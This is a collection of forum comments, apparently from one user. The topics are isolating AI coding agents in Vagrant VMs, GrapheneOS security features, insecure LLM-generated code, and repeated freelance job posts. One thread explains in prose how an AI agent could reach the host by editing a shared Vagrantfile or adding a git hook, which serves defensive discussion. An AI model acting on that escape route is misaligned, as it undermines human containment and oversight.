> a malicious AI trying to escape the VM (VM escape vulnerabilities exist, but they’re rare and require deliberate exploitation)
No VM escape vulns necessary. A malicious AI could just add arbitrary code to your Vagrantfile and get host access the first time you run a vagrant command.
If you're only worried about mistakes, Claude could decide to fix/improve something by adding a commit hook. If that contains a mistake, the mistake gets executed on your host the first time you git commit/push.
(Yes, it's unpleasantly difficult to truly isolate dev environments without inconveniencing yourself.)
Doesn't this assume you bi-directionally share directories between the host or the VM? Or how would the AI inside the VM be able to write to your .git repository or Vagrantfile? That's not the default setup with VMs (AFAIK, you need to explicitly use "shared directories" or similar), nor should you do that if you're trying to use VM for containment of something.
I basically do something like "take snapshot -> run tiny vm -> let agent do what it does -> take snapshot -> look at diff" for each change, restarting if it doesn't give me what I wanted, or I misdirected it somehow. But there is no automatic sync of files, that'd defeat the entire point of putting it into a VM in the first place, wouldn't it?
It's the default behaviour for Vagrant. You put a Vagrantfile in your repo, run `vagrant up` and it creates a VM with the repo folder shared r+w to `/vagrant` in the VM.
That's because Vagrant isn't "VM", it's a developer tool you use locally that happens to use VMs, and it was created in a era where 1) containers didn't exist as they do today, 2) packaging and distribution for major languages wasn't infected with malware and 3) LLM agents now runs on our computers and they are kind of dumb sometimes and delete stuff.
With new realities, new workflows have to be adopted. Once malware started to appear on npm/pypi, I started running all my stuff in VMs unless it's something really common and presumed vetted. I do my banking on the same computer I do programming, so it's either that or get another computer.
Agree with all of that, especially modern supply chain risk (imho the more important reason to opt for VM isolation rather than containerization). But the original article specifically talks Vagrant as an isolation solution, and describes it as not protecting against VM escape, but also that guest-to-host 0day is rare.
Hence pointing out that VM escape is a lot easier than that if your VM management tool syncs folders the way that Vagrant does by default.
Maybe before 'vagrant up' you run 'sudo chattr +i Vagrantfile' to make it immutable. Seems to disallow removal of the attribute inside the VM, but allow it outside.
Why do you need to share anything? Code goes through GitHub - VM has it's own repo clone, if you need data files, you mount them read-only in the VM, have a read-write mount for output data.
I work every day in a remote node with an IDE. VS code has a really simple extension you can run a full ide with file system control in a remote server. Git clone your files, open up VS code.
Location: The Netherlands. I'm flexible with working hours, I usually work with clients from either Western Europe or the USA.
Remote: Yes
Willing to relocate: No, but willing to travel/visit
Technologies: especially Ruby (including Ruby on Rails, Sinatra, and standalone applications), PostgreSQL, Ansible, Linux. Lots of others at the end of my comment.
Résumé/CV: https://www.luitjes.it
Email: lucas@luitjes.it
I do dev/devops/security, usually for startups or scale-ups or other small orgs with limited resources, and I've been doing that for 15+ years. So, if you:
* Have a slow web application that’s often down?
* Want to improve security and don’t know where to start?
* Have a legacy system that needs to be replaced?
* Are considering an acquisition but not sure about the technical side?
I can help with that. For example, in the past I have:
* Massively improved performance and reliability for a data visualization platform.
* Led a large effort to improve security for a cybersecurity SaaS.
* Built a micropayments system for a prominent media startup.
* Rebuilt an aging e-learning platform from scratch for a GDPR compliance SaaS.
* Conducted technical due diligence for acquisitions.
If you were writing a script to mass-scan the web for vulnerabilities, you would want to collect as many http endpoints as possible. JS files, regardless of whether they're commented out or not, are a great way to find endpoints in modern web applications.
If you were writing a scraper to collect source code to train LLMs on, I doubt you would care as much about a commented-out JS file. I'm not sure you'd even want to train on random low-quality JS served by websites. Anyone familiar with LLM training data collection who can comment on this?
GrapheneOS is basically the Android equivalent of iOS Lockdown mode. Considering how the threat landscape has changed, it would be nice if Google offered this itself. Or became a long-term sponsor of GrapheneOS, seeing how great a job they've been doing.
iOS in lockdown mode has multiple features disabled (or crippled, depending on how you look at it), while GrapheneOS is just..... secure by design with secure defaults.
>> [...] while GrapheneOS is just...
> ...disabling features. Android Auto, Google Pay, enhanced GPS,
This is broadly false, not just misleading but false.
- Android Auto: working wired or wireless without problems
- Google Pay: app vendor choice to put it behind DEVICE_INTEGRITY check, not OS vendor. NFC payments work just fine with other vendors.
- enhanced GPS: whatever that means, is most likely false. Users don't experience any issues with GPS
> SafetyNet
SafetyNet Attestation API is deprecated and no longer available so also not true.
But from the context I think you meant Play Integrity API.
This is Google Services feature, not AOSP feature.
GrapheneOS is an AOSP-based system.
GOS passes MEETS_BASIC_INTEGRITY.
It doesn't pass DEVICE_INTEGRITY because it doesn't run privileged, unbound Google Surveillance Services (according to Google 10 year old phone not updated for 8 years is more secure as long as it allows Google Services sniff everywhere).
It cannot pass MEETS_STRONG_INTEGRITY they way Google requires it because AFAIR that thing is signed by the TPM.
It does provide an alternative STRONG_INTEGRITY assurance based on the AOSP Hardware Attestation API (which many developers in fact use).
> push notifications,
This is so false it should be called out as a lie, not just a falsehood.
Reliable push notifications are supported both in the standard way (if user decides to do so), via GCM, or in one in the alternative ways, for example UP, exactly like on the standard Android phone.
> support for any apps requiring device integrity, etc.
This is also a lie or ignorance. See above. For example Starling Bank has explicitly implemented GOS Hardware Attestation API.
> They aren't redesigning and re-implementing these features securely,
What do you mean?
hardened_malloc? Memory tagging for entire kernel? automatic switch to BFU after timeout? USB data blocked by default with the screen locked? Network permission toggle? Storage/contact scopes? Critical patches released seemingly _months_ before the major vendors?
LOL. Half of your claims are either lies or misrepresentation.
The other half (Google Pay and Play Integrity) are vendor functionality. They would have to spoof (fake) it - exactly like rooted phones do (and which can often be detected). Or allow Google in the privileged mode, which is not going to happen.
That has been explained by the development team _so_ many times already.
They cannot "re-implement" a feature that *GOOGLE* offers to the developers using *Google store*. That would for example require using leaked private key. They are challenging Google's stance on Play Integrity with EU commission, because there is no technical reason to bar the safe hardware+OS passing a standard AOSP hw attestation.
This is an AOSP OS, not a hacked Google Pixel ROM.
> they are reducing attack surface just like lockdown mode.
They are reducing attack surfaces without locking down functionality. Google deciding to not support the competition is not GOS locking somehow down.
Entirely different from Apple's lockdown mode.
QED.
I wouldn't mind listing _downsides_ of using GOS as a first/main device (because there are many), but I prefer facts over confabulations :)
So you fail to see the difference between AOSP functionality and proprietary Google services?
So why are we even discussing?
Most of the alleged issues you raised are either untrue or broken *by Google*, by design, and yet you attribute them to GOS.
Somehow you also decided to bundle the functionality broken by Google with the security improvements available without turning on any specific, special mode.
What disabled features are you talking about? Face unlock? :)
SEEKING WORK | REMOTE | Dev, DevOps, Security | Location: The Netherlands
Willing to relocate: no, but willing to travel/visit. I'm flexible with working hours, I usually work with clients from either Western Europe or the USA.
I do dev/devops/security, usually for startups or scale-ups or other small orgs with limited resources, and I've been doing that for 15+ years. So, if you:
* Have a slow web application that’s often down?
* Want to improve security and don’t know where to start?
* Have a legacy system that needs to be replaced?
* Are considering an acquisition but not sure about the technical side?
I can help with that. For example, in the past I have:
* Massively improved performance and reliability for a data visualization platform.
* Led a large effort to improve security for a cybersecurity SaaS.
* Built a micropayments system for a prominent media startup.
* Rebuilt an aging e-learning platform from scratch for a GDPR compliance SaaS.
* Conducted technical due diligence for acquisitions.
TLDR: they wrapped prompts with concepts from Buddhism and got better performance on alignment tests. Actual prompts are in appendix D in this PDF: https://osf.io/az59t
I'm curious what effects you would see with secular moral philosophy, other religions, etc. Is Buddhism special, as the paper seems to argue?
SEEKING WORK | REMOTE | Dev, DevOps, Security | Location: The Netherlands
Willing to relocate: no, but willing to travel/visit. I'm flexible with working hours, I usually work with clients from either Western Europe or the USA.
I do dev/devops/security, usually for startups or scale-ups or other small orgs with limited resources, and I've been doing that for 15+ years. So, if you:
* Have a slow web application that’s often down?
* Want to improve security and don’t know where to start?
* Have a legacy system that needs to be replaced?
* Are considering an acquisition but not sure about the technical side?
I can help with that. For example, in the past I have:
* Massively improved performance and reliability for a data visualization platform.
* Led a large effort to improve security for a cybersecurity SaaS.
* Built a micropayments system for a prominent media startup.
* Rebuilt an aging e-learning platform from scratch for a GDPR compliance SaaS.
* Conducted technical due diligence for acquisitions.
> I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions.
> Cloudflare apparently did something similar recently.
Sure, LLMs don't magically remove your ability to audit code. But the way they're currently being used, do they make the average dev more or less likely to introduce vulnerabilities?
By the way, a cursory look [0] revealed a number of security issues with that Cloudflare OAuth library. None directly exploitable, but not something you want in your most security-critical code either.
The humans missed that as well though, the security issues you point to. I don't think that's on the AI, ultimately, we humans are accountable to the work.
If you have a developer who can code and isn't just vibe coding blindly, then that is an extra layer of security, sure it isn't amazingly more secure, but anyone that codes has at least some sense to not write in wildly insecure code like an LLM would, regardless of if it was tricked by things mentioned in the article or not.
I've seen LLMs generate plenty of wildly insecure code, but the percentage of insecure solutions out of the solutions that are functional, is even higher than I expected.
Also, I'm curious how the average coder would fare on this benchmark.
Hardcoded API keys and poorly secured backend endpoints are surprisingly common in mobile apps. Sort of like how common XSS/SQLi used to be in webapps. Decompiling an APK seems to be a slightly higher barrier than opening up devtools, so they get less attention.
Since debugging hardware is an even higher threshold, I would expect hardware devices this to be wildly insecure unless there are strong incentive for investing in security. Same as the "security" of the average IoT device.
Eventually someone is going to get a bill for the OpenAPI key usage. That will provide some incentive. (Incentive to just rotate the key and brick all the devices rather than fix the problem, most likely.
Had you ever heard of IKKO before this? I hadn't, and I'm at least adjacent to the hifi and audio nerd crowd.
Apple have a reputation and brand that allows them to charge premium prices.
IKKO seems, at least to me, to be effectively a disposable brand. If their reputation goes bad, their only reals costs are setting up a new website/AliExpress Store/Amazon seller account.
> a malicious AI trying to escape the VM (VM escape vulnerabilities exist, but they’re rare and require deliberate exploitation)
No VM escape vulns necessary. A malicious AI could just add arbitrary code to your Vagrantfile and get host access the first time you run a vagrant command.
If you're only worried about mistakes, Claude could decide to fix/improve something by adding a commit hook. If that contains a mistake, the mistake gets executed on your host the first time you git commit/push.
(Yes, it's unpleasantly difficult to truly isolate dev environments without inconveniencing yourself.)